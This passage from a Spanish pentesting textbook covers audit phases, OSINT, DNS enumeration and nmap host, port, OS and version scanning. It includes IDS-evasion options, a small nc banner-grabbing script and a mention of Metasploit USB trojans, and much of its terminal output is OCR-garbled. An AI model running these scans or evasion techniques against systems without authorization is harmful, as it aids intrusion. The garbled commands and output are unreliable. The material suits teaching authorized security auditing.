tendremos que buscar todo aquello que no estd “oficialmente” en los informes.
Hablaremos con mas detalle de esta fase, mds adelante, en nuestro libro.

2.7 QUINTA FASE: ANALISIS DE LAS VULNERABILIDADES

A partir de la informacidn recolectada, debemos ir elemento a elemento
analizando si presentan vulnerabilidades conocidas, o incluso posibles vulneraciones
potenciales. En esta fase plantearemos las estrategias de ataque, qué vulnerabilidades
documentaremos pero no llegaremos a explotar, cuales bastard con una prueba de
concepto, y cuales tendremos que explotar.

En el caso de empresas que lo tienen todo realmente como en las primeras
fases nos aseguraron que nos lo encontrariamos, pasaremos a la siguiente fase sin
mds problema. Sin embargo, en empresas en las que encontremos aspectos criticos
ocultos “debajo de la alfombra”, es probable que tengamos que avisar a la propiedad,
ya que descubramos nuevas pruebas que practicar. Por ejemplo, si encontramos una
wifi no documentada y con un sistema de cifrado y autentificacion débil, no debemos
suponer que tenemos una autorizacion genérica para “romperla” y acceder a ella.
Debemos notificarselo a la propiedad, y recabar el permiso para poder realizar la
explotacion de las vulnerabilidades que tenga, si procede explotarla. Finalmente,
es probable que nos veamos que debemos hacer ampliaciones de presupuesto si el
cliente estima que son necesarios andlisis adicionales.
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2.8 SEXTA FASE: EXPLOTACION DE LAS VULNERABILIDADES

Esta fase es la que excita mds al inconsciente y que no tiene experiencia,
no entiende las connotaciones legales de lo que hace, o ambas cosas. También es la
fase que preocupa mads al auditor de sequridad experimentado; ya que tiene serias
connotaciones legales, y siempre puede salir muy mal.

Antes de entrar en esta fase, debemos hacer un inciso: en muchos escenarios,
bastard con que digamos que existe una vulnerabilidad y la documentemos: no hace
falta que la explotemos.

Aveces, basta con una prueba de concepto. Cuando hacemos una explotacion
de una vulnerabilidad como prueba de concepto, el objetivo es demostrar que
la explotacion de la vulnerabilidad es posible, no utilizarla para hacer algo. Nos
encontraremos en este escenario cuando nos enfrentamos a un personal técnico que
directamente nos afirma que es imposible, y una propiedad que nos plantea validar si
lo es. El objetivo, por lo tanto, no es entrar. Y mucho menos, entrar y “hacer dano”.
El objetivo en este escenario solo es mostrar que es técnicamente posible la entrada
y documentar como se ha hecho.

Es especialmente comin el uso de pruebas de concepto cuando la
vulnerabilidad la tiene una base de datos en produccidn, un ERP en produccion, o
por regla general supone un ataque por denegacion de servicio, paron de sistemas
productivos, o alteracidn o pérdida de los datos de la empresa. No hay que realizar el
dano, basta con demostrar que es posible realizarlo.

A veces, sin embargo, es mds adecuado -siempre con la autorizacion
del cliente- realizar la explotacion de las vulnerabilidades. Hay determinadas
vulnerabilidades que habitualmente es mejor explotarlas. Es el caso de los sistemas
de seguridad perimetral, las redes wifi, pinear NATs y firewalls, o las inyecciones
SQL, por poner algunos ejemplos. Hay dos razones por las que habitualmente
estas vulnerabilidades es mds conveniente explotarlas: se trata de técnicas que son
imprescindible poder explotarlas para poder, a partir de ellas, “saltar” a los sistemas
internos de una empresa; y permiten atacar a mdquinas que no estdn aparentemente
en primera linea. La sequnda razon es también de mucho peso: son técnicas que se
pueden realizar de forma inocua, sin generar danos en los sistemas de informacidn
de la empresa ni paradas de servicio.

Hablaremos de estas técnicas mas adelante en este libro.
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2.9 SEPTIMA FASE: REDACCION DE INFORME DE AUDITORIA Y PRESENTACION
DE RESULTADOS A LA PROPIEDAD

Esta es, sin lugar a dudas, la fase mds importante -y con mucha diferencia- de
los tests de intrusion. Sino somos capaces de transmitir al cliente los descubrimientos
encontrados, y que el cliente lo entienda y tome accidn que solucione el problema,
nuestro trabajo habrd sido completamente inutil.

Redactar informes de auditoria requiere escribir bien, expresarse
adecuadamente, y saber modular el lenguaje; para ser lo suficientemente técnico
como para ser preciso, pero lo suficientemente no técnico para que el cliente entienda
de qué le estamos hablando sin tener formacion especifica en ingenieria informatica.
Emplearemos de forma generosa similes del mundo fisico, que permitan al lector de
nuestro informe entender qué queremos decir exactamente.

Presentar un informe de auditoria requiere saber hablar en publico, saber
transmitir, saber conectar con la gente. Requiere tener aplomo y cuajo para presentar
cosas que pueden ser desagradables para un publico que puede ser hostil. Requiere
saber asumir criticas, y requiere rapidez de reflejos y flexibilidad mental para poder
debatir y rebatir argumentaciones en caliente. Requiere autocontrol y mesura, para
no “perder los papeles” ante un director de sistemas preocupado en desacreditarnos
y que ird con “artilleria” a la reunidn.

No entraremos en mds detalle en este aspecto: en parte, porque la redaccion
de informes de auditoria corresponderia a un libro sobre auditoria informatica;
cuando se judicializa, sobre informes periciales. En parte porque existen multitud de
cursos para escribir bien y hablar bien en piblico que, sin que necesariamente traten
de las auditorias de seguridad, lo aprendido en ellos es completamente transferible
al ejercicio de esta profesion. Participar en grupos como Toastmasters —que tiene
clubs por toda Espana- o en grupos de teatro puede ser de gran ayuda para aprender
a hablar bien en publico, perder el miedo escénico y vocalizar correctamente.

2.10 OCTAVA FASE: PRESENTACION DE RESULTADOS AL PERSONAL TECNICO Y
FORMACION

Destacamos como hemos segregado la presentacion de resultados a la
propiedad de la presentacion de resultados al personal t€cnico. Esta presentacion
consideramos que se debe plantear y hacer por separado; y la presentacion por
separado obedece a razones de comunicacion -el personal técnico “habla” un
“idioma” distinto, y nos tenemos que adecuar a la terminologia del ptiblico-, razones
de mecdnica de la reunion -el personal técnico puede intentar “sabotear” la reunion
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con la propiedad entrando en discusiones estériles de forma constante, ya que tendra
la sensacion de que se les esta criticando a ellos, y tenderdn a defenderse.

Normalmente a esta fase se le da un enfoque mds formativo que presentativo.
Mientras que en la fase anterior se planteaba hacer una presentacion en lenguaje
llano de los problemas encontrados, en esta fase se busca que el personal técnico
entienda ddonde estd el problema con lo que estd haciendo, y aprenda a solucionar el
problema y buenas practicas para que no ocurra de nuevo.

Tampoco entraremos en mas detalle en esta fase; ya que los elementos a
desarrollar son andlogos a los de la fase anterior -cémo presentar y ensefar de forma
eficiente—, y estan fuera del alcance de este libro.






RECOGIDA DE INFORMACION INICIAL
CON KALI

El primer paso de una intrusidn es siempre recoger informacidn inicial. Esta
recogida de informacidn se denomina en el mundo anglosajon footprinting, y hay
libros enteros sobre técnicas para realizarla.

La primera recogida de informacidn es la externa -también denominada
external footprinting—, que se realiza sin acceso a los sistemas de la empresa.
Esta fase involucra analizar servidores en la zona desmilitarizada; pero también
involucra ingenieria social. A través de ingenieria social podemos descubrir qué
tipos de bases de datos utilizan, qué lenguajes utilizan en sus sistemas internos y qué
sistemas operativos utilizan —por ejemplo, a través de los perfiles de LinkedIn de
administradores de sistemas y de programadores; asi como a través de las ofertas de
empleo antiguas en cualquier portal de empleo-. También el tamafio de la red, y el
seccionado. Algunos aspectos los tendremos que realizar mediante técnicas hibridas:
una primera parte de ingenieria social, que nos permita entrar en la empresa para
identificar los puntos fisicos de red desatendidos, o que nos permita realizar un
escaneo de redes a una distancia suficiente de los AP como para poder identificar
las redes existentes; y una segunda parte de la técnica, para mapear en si la red o
escanear las redes wifi disponibles, y romper las que sea posible. A veces se utilizan
troyanos para tablet o mdviles, que se pueden hacer con Metasploit o bien a través
de aplicaciones, o bien en PDF o en flash. También se pueden hacer troyanos en USB
con Metasploit, y encontrar alguna excusa para que algun incauto enchufe el llavero
USB infectado en la red interna de la empresa.
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La sequnda recogida de informacion es la interna -también denominada
internal footprinting-. Una vez que ya tenemos un acceso aunque sea minimo
mds alld de la zona desmilitarizada, tendremos que recabar informacion sobre los
sistemas que encontremos. Esta etapa se centrard en evitar “levantar la liebre” y
ser detectados; y la “estrella” de los ataques serdn los ordenadores portdtiles y de
sobremesa en un primer lugar, utilizando Metasploit. Despu€s se suele ir a por la
logica de red o a por los servidores, intentando en estos tltimos diversas técnicas de
escalado hasta conseguir los privilegios deseados.

3.1 RECOGIDA DE INFORMACION A TRAVES DE 0S|

Gran parte de la recogida de informacidn externa, y lo que supone el
comienzo del proceso de pentesting, se realiza mediante lo que se denominan
técnicas OSINT -acrénimo de Open Source Intelligence, o “inteligencia de fuentes
abiertas”-. Con frecuencia, también encontraremos el uso de OSI por OSINT
referido al uso de fuentes abiertas para recabar informacidén. Es importante que
entendamos que el OSI/OSINT no tiene absolutamente nada que ver con el Open
Source referido a “Software de fuentes abiertas” dentro de la terminologia del
Software Libre.

Ya el anadlisis de las técnicas OSI para obtener informacidn de la empresa
auditada da material para un libro exclusivo de técnicas OSI, y que ademds se escapa
de los objetivos de nuestro libro. Las técnicas OSI de mayor uso es la bisqueda por
Internet de informacidn de los sistemas de informacion de la empresa; especialmente
a través de los perfiles de LinkedIn de trabajadores o de antiguos trabajadores, asi
como de las tecnologias requeridas en las ofertas de empleo de las empresas, sean
pasadas o presentes.

La recogida de informacion via OSI siempre debe preceder al uso de
herramientas; ya que nos permitird hacer la eleccion correcta de las herramientas
adecuadas, asi como evitar ser demasiado intrusivo y avisar a los sistemas de
deteccidn de intrusos de la empresa mediante un escaneo indiscriminado.

Existen herramientas en Kali que ayudan a realizar este proceso organizando
la informacidn, tales como el Maltego:
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Maltego tiene add-ons y scripts que permiten realizar algunas de las tareas
de recogida de informacién no-OSI de forma semiautomatizada. De cualquier
forma, estas posibilidades también estdn incorporadas en Metasploit, y ademads
es interesante que aprendamos cdmo se hacen estas operaciones, por lo que ahora
pasaremos a analizar la recogida de informacion a traves de técnicas manuales.

3.2 RECOGIDA DE INFORMACION A TRAVES DEL DNS

Después de la recogida de informacidn via OSI, el siguiente paso serd el
andlisis de DNS. El andlisis de DNS es muy interesante porque da mucha informacion
de sistemas que estdn en la zona desmilitarizada de la red de la empresa sin dejar
ningtn rastro detectable por un IDS -Sistema de Deteccion de Intrusos- aunque la
empresa tenga configurado el DN'S en modo paranoico.
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Para ello, lo primero que debemos hacer es obtener una transferencia de
zona. Esto lo haremos con la utilidad de linea de comandos dnsenum, que tiene como
sintaxis:

dnsenum nombrededominio

Donde nombrededominio corresponde con el dominio de la empresa
que estamos auditando. Por ejemplo, podemos obtener informacion del dominio
orcero.org haciendo:

dnsenum orcero.org

Y obtenemos algo como:

- Jgares = D Terminal
root@hkali; ~
Archive Editar Ver Buscar Terminal Ayuda
i~# dn eninformatica.pro
dnsenum.pl VE

peritoeninformatica.pro

peritoeninformatica.pro. N 51.255.161.39

nsl@7.ovh.net.
dns187.ovh.net.

-
™
2
14

4

www.peritoeninformatica.pro. K ] 51.255.161.39

B M «

Trying Zone Transfer aninformatica.pro on ns187.ovh.net ...
ecord gquery fa (1]

jln'.nTcrrratia:a.prnJ on dnsl@7.ovh.net ...

brute force file not s
e

El dnsenum que acompanaba Kali hasta la 2016.2 tenia un error; en la fase
de transferencia de zona, aborta con el primer servidor DNS que no le deja hacerlo.
Podemos solucionar este problema o especificando con -threads un numero de
hebras concurrentes que sea superior al nimero de servidores DNS del dominio, o
utilizando la version 1.2.4, que podemos descargar de:
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https://raw.githubusercontent.com/fwaeytens/dnsenum/master /dnsenum.pl

Esto es un error que se ha comenzado a dar en las fechas en las que escribo
esta documentacion, por lo que es probable que en poco tiempo Kali actualice a la
1.2.4. La salida de la 1.2.4 es, por ejemplo:

?Uot@paladiu:ftnp# dnsenum.pl orcero.org
dnsenum.pl VERSION:1.2.4

----- Orcero.org -----

Host's addresses:

Name Servers:

ns3.zoneedit .com. 12 IN A 128.199.65.59
nsl.zoneedit .com. 299 IN A 162.220.33.236

Mail (MX) Servers:

delfos.orcero,org. 299 IN CNAME wWww.orcero,org.
WwW.0rCero.org. 299 IN A 188.165.231.195

Trying Zone Transfers and getting Bind Versions:

Trying Zone Transfer for orcero.org on ns3.zoneadit.com ...
AXFR record query failed: Response code from server: NOTAUTH

Trying Zone Transfer for orcero.org on nsl.zoneedit.com ...
AXFR record query failed: Response code from server: REFUSED

brute force file not specified, bay.
root@paladio:/tmp# [

Kali 2017.1 sigue trabajando con la version 1.2.3; pero el error estd
parcheado y dnsenum funciona correctamente.

Podemos especificar un diccionario para que pruebe subdominios a través
de fuerza bruta. Nos quedamos, sin embargo, con este uso bdsico; para buscar
subdominios, es mejor utilizar la herramienta dnsmap.
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Llegados a este punto, lo que nos interesa encontrar son las IP de las
mdquinas del dominio, y para qué sirven. Nos interesan las entradas A, que
corresponden a maquinas con IP publica, que serd la primera puerta de ataque.
También los servidores de nombre, y los servidores de correo MX. Es interesante
también no solo lo que estd, sino lo que no estd: si vemos que hay “saltos” entre
IP consecutivas, eso puede significar que esos saltos corresponden a IP reservadas
pero que no tienen servidor asociado. Pero ojo: también pueden ser IP de servidores
de pruebas en zona desmilitarizada, que suelen ser muy vulnerables, o de ldgica
de red, que también tiene mucho interés. Los registros SPF también son muy
interesantes; ya que pueden mostrar IP ptblicas activas y que no tienen resolucion
directa. Finalmente, los registros HINFO en principio contienen informacidn sobre
el sistema operativo de las mdquinas. Pero es informacion puesta a mano por el
administrador del dominio, por lo que en principio no nos podemos fiar mucho

de ella.

El siguiente paso que debemos seguir es localizar los subdominios; lo
que si el dominio analizado permite transferencia de dominios serd trivial -ya que
obtendremos los subdominios-. Si no, tendremos que probarlo via ingenieria social
o via técnicas OSI. Podemos mediante uno de los métodos anteriores encontrar
candidatos a subdominio, y alimentar a dnsenum con nuestras suposiciones.
Finalmente, podemos buscar subdominios por fuerza bruta, mediante el uso del
comando:

dnsmap dominio

Es importante que recordemos que este comando puede hacer “saltar la
liebre” si tienen un IDS muy bien afinado; y que, como es de fuerza bruta, puede
tardar bastante en encontrar subdominios. Por ello, 1o podemos interpretar como una
tiltima opcion.

Otro comando interesante es el dnsrecon, que tiene la sintaxis general para
analizar un dominio:

dnsrecon -d dominio

Por ejemplo, para analizar el dominio peritoeninformatica.pro, hacemos:

dnsrecon -d peritoeninformatica.pro

Y obtenemos algo como:
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Archiva  Editar  Wer Buscar Terminal Ayuda

toeninformatica.pro
matica.pro

iro 1p4:51.255.161.39/32 -all

Found for peritoeninformatica.pro
Found

3.3 IDENTIFICACION DE NODOS VIVOS Y ESCANEO DE PUERTOS

Tanto la identificacion de nodos vivos como el escaneo de puertos se hacen
con la utilidad nmap. Es una utilidad fundamental, cuyo uso debemos dominar. Lo
que vamos a ver en este libro es solo un pequeno porcentaje de lo que se puede hacer
con esta herramienta.

El primer paso que debemos dar si queremos auditar la seguridad de una
red es identificar dentro de una red que nodos estan vivos. Esto lo podemos hacer
mediante la opcidn de sondeo -sP; con la sintaxis:

nmap tipobarrido opcidnsondeo red

Donde red corresponde con la red que vamos a escanear. Por ejemplo,
escanear la clase C dentro de 192.168.2.x seria 192.168.2.0/24. La nomenclatura es
la normal dentro del mundo de las redes: la IP base, y el nimero de bits dentro de la
IP base que debe coincidir en las IP analizadas, comenzando por la mas significativa.
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Por otro lado, tipodebarrido corresponde al tipo de barrido para descubrir
sistemas, que puede ser:

P -PB: La opcidn por defecto si utilizamos -sP. Intenta primero ICMP. Sino
responde, intenta abrir los puertos 80 y 445. Es antiintuitivo el nombre.

P -P0: Realiza barrido de puertos, pero no hace sondeo con ping.

W -PSlistapuertos: Analiza los puertos TCP listados en listapuertos mediante
barrido con TCP SYN.

P -PAlistapuertos: Analiza los puertos TCP listados en listapuertos mediante
barrido con TCP ACK.

W -PUlistapuertos: Analiza los puertos UDP listados en listapuertos.

P -PE: Ping ICMP. Hay tres posibilidades de hacer este ping, algunas -o
todas— pueden estar filtradas por la seguridad de host o por firewalls
intermedios.

W -PP. Ping ICMP. Hay tres posibilidades de hacer este ping, algunas
—o todas— pueden estar filtradas por la seguridad de host o por firewalls
intermedios.

P -PM: Ping ICMP. Hay tres posibilidades de hacer este ping, algunas -o
todas— pueden estar filtradas por la seguridad de host o por firewalls
intermedios.

P -PA: Sondea generando directamente las solicitudes ARP. Esto acelera y
dificulta la deteccion del barrido en redes Ethernet.

Podemos poner tantos tipos de barridos como queramos. Es importante
que tengamos en cuenta que TCP SYN y TCP ACK nos dicen solo que hay algo
escuchando -y que, con ello, la mdquina estd “viva”-. El puerto puede estar cerrado.
Todas estas opciones son para detectar maquinas vivas a través de como se comportan,
no detectar qué puertos estdn abiertos.

Por otro lado, opcidnsondeo corresponde con el tipo de sondeo que vamos a
hacer sobre los nodos vivos que encontremos, y puede ser:

W -sP. Barrido ping. Solo identifica las maquinas, no analiza puertos.

P -sT: Sondeo TCP connect. Funciona abriendo puertos. Puede dejar
rastros en los histdricos, y lo detectan hasta los IDS mds rudimentarios.
No atraviesa firewalls bien configurados.
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P -sS: Es el sondeo mds rapido si queremos escanear a mucha velocidad una
red grande. Funciona contra cualquier pila TC y no da falsos positivos.
Consiste en mandar un paquete SYN para comenzar a abrir una conexion
TCP, pero no llega a abrirla, ya que no completa el escenario. Lo puede
detectar un IDS bien configurado.

P -sU: Sondeo de UDP. Es muy lento.
P -sO: Sondeo de protocolo IP. Es muy lento.

P -sN: Sondeo TCP NULL. Aprovecha una indefinicion de la RFC de TCP.
Puede ser detectado por un IDS muy bien configurado, pero no es comun.
Suele pasar a través de los firewalls.

P -sF: Sondeo TCP FIN. Aprovecha una indefinicion de la RFC de TCP.
Puede ser detectado por un IDS muy bien configurado, pero no es comun.
Suele pasar a través de los firewalls.

V' -sX: Sondeo Xmas. Aprovecha una indefinicion de la RFC de TCP. Puede
ser detectado por un IDS muy bien configurado, pero no es comin. Suele
pasar a través de los firewalls.

P -sA: Sondeo TCP ACK. Se utiliza para analizar los cortafuegos. Permite
identificar en un cortafuegos qué puertos se dejan pasar libres, qué
puertos aplican reglas, qué puertos se filtran y en cudles hay inspeccion
de estados.

P -sW: Sondeo de ventana TCP. Se utiliza para analizar los cortafuegos.
Permite identificar en un cortafuegos qué puertos se dejan pasar libres,
qué puertos aplican reglas, qué puertos se filtran, y en cuales hay
inspeccion de estados.

P -sM: Sondeo de TCP de Maimon. Es un sondeo tipo TCPACK, empleando
la filosofia del Xmas. Se utiliza para analizar los cortafuegos. Permite
identificar en un cortafuegos qué puertos se dejan pasar libres, qué
puertos aplican reglas, qué puertos se filtran y en cucgales hay inspeccién
de estados.

W -sI sistemazombi:puerto: sondeo a través de un sistema zombie, ya
comprometido. Lo interesante de este sondeo es que las mdquinas entre el
zombi y la mdquina analizada, mdquina analizada incluida, creen que el
paquete sale del zombie; por lo que podemos emplearlo para indentificar
reglas en los firewalls intermedio y qué se puede hacer en la maquina
analizada desde la mdquina zombie.
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Luego, tenemos modificadores que nos permiten ocultar nuestro rastro.
Por ejemplo, si anadimos -f, se mandaran los paquetes fragmentados; por lo que
le costara mucho mas trabajo a los IDS y los firewalls detectar el barrido. Por otro
lado, tenemos mecanismos para asegurarnos que no dejemos detrds ningtin nodo sin
detectar. Si hacemos algo como:

nmap -PE -PP -PS80,443 -PA3389 -PU40125 red

Por ejemplo, para asegurarnos que identificamos todos los nodos “vivos” en
el rango entre la 192.168.2.0 y la 192.168.2.255, hacemos:

nmap -PE -PP -PS80,443 -PA3389 -PU40125 192.168.2.0/24

Obtendriamos varias pantallas de mdquinas detectadas con sus puertos; la
liltima pdgina seria:

2/tcp open telnet
B/tcp open http
AC Address: FB:1lA:67:CA:B6:87 (Unknown)

map scan report for 1892 168.2.2

ost is up (0.0015s latency).

ot shown: 898 closed ports

ORT STATE SERVICE

0/tcp open http

AC Address: 4B:5B:39:1A:FB:BE (Asustek Computer)

map scan report for almacen.trantor (192.168.2.20)
ost is up (0.000B96s latency).

ot shown: 892 closed ports

ORT STATE SERVICE

2/tcp open ssh

5/tcp open smtp

@/tcp open http

11/tcp open rpcbind

39/tcp open netbieos-ssn

45/tcp open micreosoft-ds

E?Itcb oben submission
049/tcp open nfs
AC Address: BPO:22:4D:A4:22:6F (Mitac International)

map scan report for 192 .168.2.111
ost is up (0.DOPEO20s latency) .
ot shown: 896 closed ports

ORT STATE SERVICE

2/tcp open ssh

5/tcp open smtp

@/tcp open http

11/tcp open rpcbind

map scan report for 192 168.2.114

ost is up (0.00048s latency).

ot shown: 888 cleosed ports

ORT STATE SERVICE

Z2/tcp open ssh

11/tcp open rpcbind

AC Address: CB:7C:D1:C0:0E:20 (Unknown)

map scan report for 192 168.2.246

ost is up (£.814s latency).

11 1888 scanned ports on 192.168.2.246 are closed
AC Address: 30:D6:C9:0E:17:21 (Unknown)

map done: 256 IP addresses (6 hosts up) scanned in 9.21 seconds
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Observamos que, entre otras cosas, nmap nos da la MAC de la mdquina
identificada si estamos en la misma red Ethernet. Esto sera muy ttil cuando ya
estemos en la red interna del cliente auditado.

Otro ejemplo de uso de nmap es el andlisis de paquetes IP. Por ejemplo,
haciendo:

nmap -sO almacen

Obtendremos algo como:

Starting Nmap 6.00 ( http://nmap.org ) at 2016-04-20 18:06 CEST

Warning: 192.168.2.20 giving up on port because retransmission cap hit (10)
Nmap scan report for almacen (192 .168.2.20)

Host is up (0.00019s latency).

rDNS record for 192.168.2.20: almacen.trantor

Not shown: 250 closed protocols

PROTOCOL STATE SERVICE
1 open icmp
2 open|filtered igmp
6 open tcp
17 open udp
103 open|filtered pim
136 open|filtered udplite

MAC Address: 00:22:4D:A4:22:6F (Mitac International)

Nmap done: 1 IP address (1 host up) scanned in 279.89 seconds

Un paso mads a la hora de escanear puertos es obtener los banners de cabecera
de los protocolos involucrados. Esto 1o podemos hacer una vez que tenemos el listado
de puertos abiertos obtenidos con el nmap, con el programa:

#!/bin/bash

#Pon aqui los puertos abiertos
PUERTOS="22 23 25 80 443 445"

Pon aqui la IP
IPDESTINO="188.165.231.195"

Iteramos para todos los puertos for i in
$PUERTOS

do

#Volcamos donde operamos

echo srv: $IPDESTINO puerto: $i $i
#Utilizamos nc para obtener el banner echo
[nc -v -n -wl $IPDESTINO $i

#lmprimimos un separador

echo "
done
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Por ejemplo, hacemos un nmap al host www.orcero.org:

nmap www.orcero.org

Obteniendo:

Starting Nmap 6.00 ( http://nmap.org ) at 2016-04-19 20:26
CEST

Nmap scan report for www.orcero.org (188.165.231.195)

Host is up (0.076s latency).

rDNS record for 188.165.231.195: servidor

Not shown: 994 closed ports

PORT STATE SERVICE

22/tcp filtered ssh

23/tcp open telnet

25/tcp open smtp

80/tcp open http

443/tcp  open https

445/tcp  filtered microsoft-ds

Ahora pasamos el programa anterior:

/sbin/banners

Y obtenemos:

srv: 188.165.231.195 puerto: 22
(UNKNOWN) [188.165.231.195] 22 (ssh) : Connection timed out
srv: 188.165.231.195

puerto: 23
(UNKNOWN) [188.165.231.195] 23 (telnet) open SSH-

2.0-OpenSSH_6.0p1 Debian-4+deb7u4 Protocol
mismatch.

srv: 188.165.231.195 puerto: 25

(UNKNOWN) [188.165.231.195] 25 (smtp) open

554 www.orcero.org ESMTP not accepting messages
500 5.5.1 Command unrecognized: "

srv: 188.165.231.195 puerto: 80
(UNKNOWN) [188.165.231.195] 80 (http) open

srv: 188.165.231.195 puerto: 443
(UNKNOWN) [188.165.231.195] 443 (https) open

srv: 188.165.231.195 puerto: 445
(UNKNOWN) [188.165.231.195] 445 (microsoft-ds) :
Connection timed out
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Por lo que un anadlisis de banners es algo tan sencillo como esto:

irbis@paladio:~$ nmap www.orcero.org

Starting Nmap 6.00 ( http://nmap.org ) at 2016-04-19 20:26 CEST
Nmap scan report for www.orcero.org (188, 165,231.195)

Host is up (0.076s latency).

rDNS record for 188.165.231.195: servidor

Not shown: 994 closed ports

PORT STATE SERVICE

22/tcp filtered ssh

23/tcp open telnet
25/tcp apen smtp
80/tcp open http
443/tcp open https

445/tcp filtered microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 6.17 seconds
irbis@paladio:~% /sbin/banners

srv: 188.165.231.195 puerto: 22

(UNKNOWN) [188.165.231.195] 22 (ssh] : Connection timed out
srv: 188.165.231.195 puerto: 23

(UNKNOWN) [188.165.231.195] 23 (telnet] open
SSH-2.8-0penSSH 6.60pl Debian-4+deb7u4

Protocol mismatch.

srv: 188.165.231.195 puerto: 25

(UNKNOWN) [188.165.231.195] 25 (smtp) open

554 www.orcera.org ESMTP not accepting messages

500 5.5.1 Command unrecognized: ""

srv: 188.165.231.195 puerto: B0

(UNKNOWN) [188.165.231.195] 80 (http) open

srv: 188.165,.231.195 puerto: 443

(UNKNOWN) [188.165.231.195] 443 (https] open

srv: 188.165.231.195 puerto: 445

(UNKNOWN) [188.165.231.195] 445 (microsoft-ds) : Connection timed out

irbis@paladio:~5 [

Es decir, que se trata de una mdquina con Linux y Debian.

El tipo de mdquina de la que se trata también se puede reconocer mediante

nmap. Ello se hace lanzdndolo con la sintaxis:

nmap -0 servidor

Nos dird qué sistema operativo utiliza ese servidor. Por ejemplo, si hacemos:

nmap -O www.orcero.org

Obtenemos:

Starting Nmap 6.00 ( http://nmap.org ) at 2016-04-20 13:47
CEST
Nmap scan report for www.orcero.org (188.165.231.195)
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Host is up (0.074s latency).

rDNS record for 188.165.231.195: servidor
Not shown: 994 closed ports

PORT STATE SERVICE

22/tcp filtered ssh

23/tcp open telnet
25/tcp open smtp
80/tcp open htt
443/tcp open https

445/tcp  filtered microsoft-ds

Device type: general purpose

Running (J UST GUESSING): Linux 2.6.X (85 %)

OS CPE: cpe:/o:linux:kernel:2.6

Aggressive OS guesses: Linux 2.6.32 - 2.6.38 (85 %)

No exact OS matches for host (test conditions non-ideal). Network

Distance: 11 hops

OS detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 9.87 seconds

Esto nos da informacion bastante precisa de qué sistema operativo ejecuta
una mdquina concreta. Podemos también obtener informacién de qué servidores
ejecuta la mdquina, y cuales son las versiones de estos servidores. Esto lo hacemos
con:

nmap -sV -T4 -F --version-all servidor

Donde sV es la opcidn para sondear puerto, y version-all corresponde con
emplear un sondeado con una intensidad maxima. T3 es la opcion de temporalizacion;
silared eslenta y sujeta a timeouts debemos aumentar el tiempo de timeout poniendo
el pardmetro T2 o a lo sumo T1. T4 quizds sea demasiado agresivo en condiciones
normales.

Por ejemplo, si hacemos:
nmap -sV -T4 -F --version-light www.orcero.org
Obtenemos:

Starting Nmap 6.00 ( http://nmap.org ) at 2016-04-20 13:38
CEST

Nmap scan report for www.orcero.org (188.165.231.195)

Host is up (0.086s latency).

rDNS record for 188.165.231.195: servidor

Not shown: 94 closed ports

PORT STATE SERVICE VERSION
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22/tcp filtered ssh

23/tcp open ssh OpenSSH 6.0pl Debian 4+
deb7u4 (protocol 2.0)

25/tcp open smtp Sendmail 8.14.4/8.14.4/
Debian-4

80/tcp open http lighttpd 1.4.31

443/tcp open ssl/http lighttpd 1.4.31

445/tcp filtered microsoft-ds

Service Info: Host: www.orcero.org; OSs: Linux, Unix; CPE:

cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds

Es decir, una validacién de los servidores y servicios de una mdquina
concreta en la prdctica es tan sencilla como esto:

1rhis@pa1adio:~$ nmap -sV¥ -T4 --version-all www.orcero.org

Starting Nmap 6.00 ( http://nmap.org ) at 2016-84-20 13:57 CEST
Nmap scan report for www.orcero.org (1BB.165.231.195)

Host is up (©.080s latency).

rDNS record for 1BB.165.231.195: servidor

Not shown: 994 closed ports

PORT STATE SERVICE VERSION

22/tcp filtered ssh

23/tep open ssh OpensSH 6.0pl Debian 4+deb7ud (protocol 2.0)
25/tcp open smtp Sendmail 8.14.4/8.14.4/Debian-4

B0/tep open http lighttpd 1.4,31

443/tcp open ssl/http lighttpd 1.4.31

445/tecp filtered microsoft-ds
Service Info: Host: www.orcero.org; 0Ss: Linux, Unix; CPE: cpe:/fo:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 17.84 seconds
irbis@paladio:~3 [

Observamos como hemos encontrado una buena aproximacion de los
distintos servidores en ejecucion abiertos y versiones de cada servidor en concreto.

Es importante que entendamos que apenas hemos “rascado” en la superficie de
todo lo que puede hacer nmap. Por poner algunos ejemplos mds, tenemos scripts que
nos permiten hacer tareas mucho mds avanzadas. Los scripts de uso mds comtin son:

P broadcast: Descubre mdquinas adicionales a traves del envio al medio de
mensajes de broadcast.

P brute: Intenta encontrar claves en la mdaquina a traveés de fuerza bruta.

W discovery: Busca toda la informacidn que pueda sobre la mdquina
indicada.

P dos: Realiza un ataque por denegacidn de servicio.
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P exploit: Intenta atacar la mdquina.

W intrusive: Puede tumbar mdquinas.

P malware: Busca malware instalado.

P version: Realiza andlisis.

P vul: Busca vulnerabilidades conocidas.

Hay muchos mds. Debemos siempre recordar que algo tan “inofensivo”
como nmap es una herramienta de mucha potencia a la hora de realizar auditorias
activasy tests de intrusion. Junto con nc, son las dos herramientas mds infravaloradas
del arsenal de cualquier pentester.

Algunos ejemplos de ejecuciones de estos scripts de nmap son:

nmap --script discovery 192.168.2.1

Lo que genera:

Starting Nmap 6.0@ ( http://nmap.org ) at 20165-04-20 19:43 CEST
Pre-scan script results:

| targets-asn:

| _ targets-asn.asn 1s a mandatory parameter

Nmap scan report for 192 .168.2.1

Host is up (0.0024s latency) .

Not shown: 999 closed ports

PORT STATE SERVICE

88/tcp open http

| _http-google-malware: [ERROR] No API key found. Update the variable A
PIKEY in http-google-malware or set it in the argument http-google-mal
ware.api

| dns-client-subnet-scan:

| ERROR: dns-client-subnet-scan.domain was not specified

| http-grep:

|_ ERROR: Argument http-grep match was not set

| http-title: Protected Object

| http-headers:

| WWwW-Authenticate: Basic realm="TD-WB9G1ND"

| Content-Type: text/html

| Transfer-Enceding: chunked

| Server: RomPager/4.07 UPnP/1.0

| Connection: close

| EXT:

I

| (Reguest type: GET)

| http-auth-finder:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.16
8.2.1

|
I
I

(8]

urtk method
http://192.168.2.1:80/ HTTP: Basic
http-chrono: Request times for /; avg: 152.57ms; min: 151.18ms; max:
154,53ms
| _http-wordpress-plugins: nothing found amongst the 186 most popular p
lugins, use --script-arg http-wordpress-plugins.search==number|all= fo
r desper analysis)

Host script results:
